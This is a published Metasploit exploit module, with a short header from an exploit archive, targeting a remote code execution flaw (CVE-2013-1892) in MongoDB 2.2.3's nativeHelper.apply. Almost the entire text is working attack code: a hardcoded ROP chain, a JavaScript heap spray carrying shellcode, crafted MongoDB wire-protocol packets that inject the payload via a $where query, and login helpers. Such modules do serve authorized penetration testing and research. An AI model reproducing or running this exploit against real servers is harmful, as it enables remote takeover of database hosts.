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MongoDB nativeHelper.apply Remote Code Execution

MongoDB nativeHelper.apply Remote Code Execution
Posted Apr 2, 2013
Authored by agix | Site metasploit.com

This Metasploit module exploits the nativeHelper feature from spiderMonkey which allows control over execution by calling it with specially crafted arguments. This Metasploit module has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.

tags | exploit
systems | linux, debian, ubuntu
advisories | CVE-2013-1892, OSVDB-91632
SHA-256 | b6eb069e8c2cd7a54405a167b66ff710e28f82ed3b1979ede3aca6f9223c3ab8

MongoDB nativeHelper.apply Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info={})
super(update_info(info,
'Name' => 'MongoDB nativeHelper.apply Remote Code Execution',
'Description' => %q{
This module exploit a the nativeHelper feature from spiderMonkey which allows to
to control execution by calling it wit specially crafted arguments. This module
has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.
},
'Author' =>
[
'agix' # @agixid # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2013-1892' ],
[ 'OSVDB', '91632' ],
[ 'BID', '58695' ],
[ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux - mongod 2.2.3 - 32bits',
{
'Arch' => ARCH_X86,
'mmap' => [
0x0816f768, # mmap64@plt # from mongod
0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod
0x31337000,
0x00002000,
0x00000007,
0x00000031,
0xffffffff,
0x00000000,
0x00000000,
0x0816e4c8, # memcpy@plt # from mongod
0x31337000,
0x31337000,
0x0c0b0000,
0x00002000
],
'ret' => 0x08055a70, # ret # from mongod
'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
# These gadgets need to be composed with bytes < 0x80
'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
'gadget4' => 0x08055a6c, # pop eax / ret
'gadget5' => 0x08457158 # xchg esp,eax
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 24 2013',
'License' => MSF_LICENSE
))

register_options(
[
Opt::RPORT(27017),
OptString.new('DB', [ true, "Database to use", "admin"]),
OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
OptString.new('USERNAME', [ false, "Login to use", ""]),
OptString.new('PASSWORD', [ false, "Password to use", ""])
], self.class)
end

def exploit
begin
connect
if require_auth?
print_status("Mongo server #{datastore['RHOST']} use authentication...")
if !datastore['USERNAME'] || !datastore['PASSWORD']
disconnect
fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided")
end
if do_login==0
disconnect
fail_with(Exploit::Failure::NoAccess, "Authentication failed")
end
else
print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")
end

if datastore['COLLECTION'] && datastore['COLLECTION'] != ""
collection = datastore['COLLECTION']
else
collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')
if read_only?(collection)
disconnect
fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")
else
print_good("New document created in collection #{collection}")
end
end

print_status("Let's exploit, heap spray could take some time...")
my_target = target
shellcode = Rex::Text.to_unescape(payload.encoded)
mmap = my_target['mmap'].pack("V*")
ret = [my_target['ret']].pack("V*")
gadget1 = "0x#{my_target['gadget1'].to_s(16)}"
gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))
gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))
gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))
gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))

shellcode_var="a"+Rex::Text.rand_text_hex(4)
sizechunk_var="b"+Rex::Text.rand_text_hex(4)
chunk_var="c"+Rex::Text.rand_text_hex(4)
i_var="d"+Rex::Text.rand_text_hex(4)
array_var="e"+Rex::Text.rand_text_hex(4)

ropchain_var="f"+Rex::Text.rand_text_hex(4)
chunk2_var="g"+Rex::Text.rand_text_hex(4)
array2_var="h"+Rex::Text.rand_text_hex(4)

# nopsled + shellcode heapspray
payload_js = shellcode_var+'=unescape("'+shellcode+'");'
payload_js << sizechunk_var+'=0x1000;'
payload_js << chunk_var+'="";'
payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } '
payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));'
payload_js << array_var+'=new Array();'
payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } '

# retchain + ropchain heapspray
payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");'
payload_js << chunk2_var+'="";'
payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } '
payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));'
payload_js << array2_var+'=new Array();'
payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } '

# Trigger and first ropchain
payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, '
payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);'

request_id = Rex::Text.rand_text(4)

packet = request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\x01\x00\x00\x00" #numberToReturn (1)

where = "\x02\x24\x77\x68\x65\x72\x65\x00"
where << [payload_js.length+4].pack("L")
where << payload_js+"\x00"

where.insert(0, [where.length + 4].pack("L"))

packet += where
packet.insert(0, [packet.length + 4].pack("L"))

sock.put(packet)

disconnect
rescue ::Exception => e
fail_with(Exploit::Failure::Unreachable, "Unable to connect")
end
end

def require_auth?
request_id = Rex::Text.rand_text(4)
packet = "\x3f\x00\x00\x00" #messageLength (63)
packet << request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" #flags
packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\x01\x00\x00\x00" #numberToReturn (1)
#query ({"listDatabases"=>1})
packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"

sock.put(packet)
response = sock.get_once

have_auth_error?(response)
end

def read_only?(collection)
request_id = Rex::Text.rand_text(4)
_id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02"
key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"

insert = _id+key+[value.length].pack("L")+value+"\x00"

packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength
packet << request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection)
packet << [insert.length+4].pack("L")
packet << insert

sock.put(packet)

request_id = Rex::Text.rand_text(4)

packet = [datastore['DB'].length + 61].pack("L") #messageLength (66)
packet << request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 Query)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\xff\xff\xff\xff" #numberToReturn (1)
packet << "\x1b\x00\x00\x00"
packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"

sock.put(packet)

response = sock.get_once
have_auth_error?(response)
end

def do_login
print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database")
nonce = get_nonce
status = auth(nonce)
return status
end

def auth(nonce)
request_id = Rex::Text.rand_text(4)
packet = request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\xff\xff\xff\xff" #numberToReturn (1)

#{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}
document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"
document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"
document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination
document << datastore['USERNAME'] + "\x00"
document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"
document << nonce + "\x00"
document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"
document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00"
document << "\x00"
#Calculate document length
document.insert(0, [document.length + 4].pack("L"))

packet += document

#Calculate messageLength
packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength
sock.put(packet)
response = sock.get_once
if have_auth_error?(response)
print_error("Bad login or DB")
return 0
else
print_good("Successful login on DB #{datastore['db']}")
return 1
end


end

def get_nonce
request_id = Rex::Text.rand_text(4)
packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length)
packet << request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\x01\x00\x00\x00" #numberToReturn (1)
#query {"getnonce"=>1.0}
packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"

sock.put(packet)
response = sock.get_once
documents = response[36..1024]
#{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}
nonce = documents[15..30]
end

def have_auth_error?(response)
#Response header 36 bytes long
documents = response[36..1024]
#{"errmsg"=>"auth fails", "ok"=>0.0}
#{"errmsg"=>"need to login", "ok"=>0.0}
if documents.include?('errmsg') || documents.include?('unauthorized')
return true
else
return false
end
end
end
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